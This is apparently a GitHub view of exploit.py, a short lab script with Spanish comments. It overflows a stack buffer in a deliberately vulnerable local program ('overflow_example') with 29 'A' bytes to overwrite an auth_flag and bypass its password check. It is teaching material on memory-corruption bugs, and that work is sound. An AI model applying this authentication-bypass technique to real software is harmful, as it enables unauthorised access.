-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
26 lines (21 loc) · 870 Bytes
/
Copy pathexploit.py
File metadata and controls
26 lines (21 loc) · 870 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3
"""Exploit del overflow_example.c — sobrescribe auth_flag.
Uso:
python3 exploit.py
"""
import subprocess, sys, os
BINARIO = os.path.join(os.path.dirname(__file__), "overflow_example")
# En x86-64 con SysV ABI y este compilador concreto, gcc reordena las locals
# y aplica padding extra. Medido empíricamente con auth_overflow.c: la distancia
# real entre password_buffer y auth_flag es 28 bytes, así que con 29 caracteres
# el byte 28 (primer byte de auth_flag) vale 'A' != 0 y la auth pasa.
payload = b"A" * 29
print(f"[+] Lanzando: {BINARIO} <{len(payload)} bytes>")
res = subprocess.run([BINARIO, payload], capture_output=True)
print(res.stdout.decode(errors="replace"))
if b"garantizado" in res.stdout:
print("[+] Exploit OK — auth_flag sobrescrito.")
sys.exit(0)
else:
print("[-] Exploit fallido.")
sys.exit(1)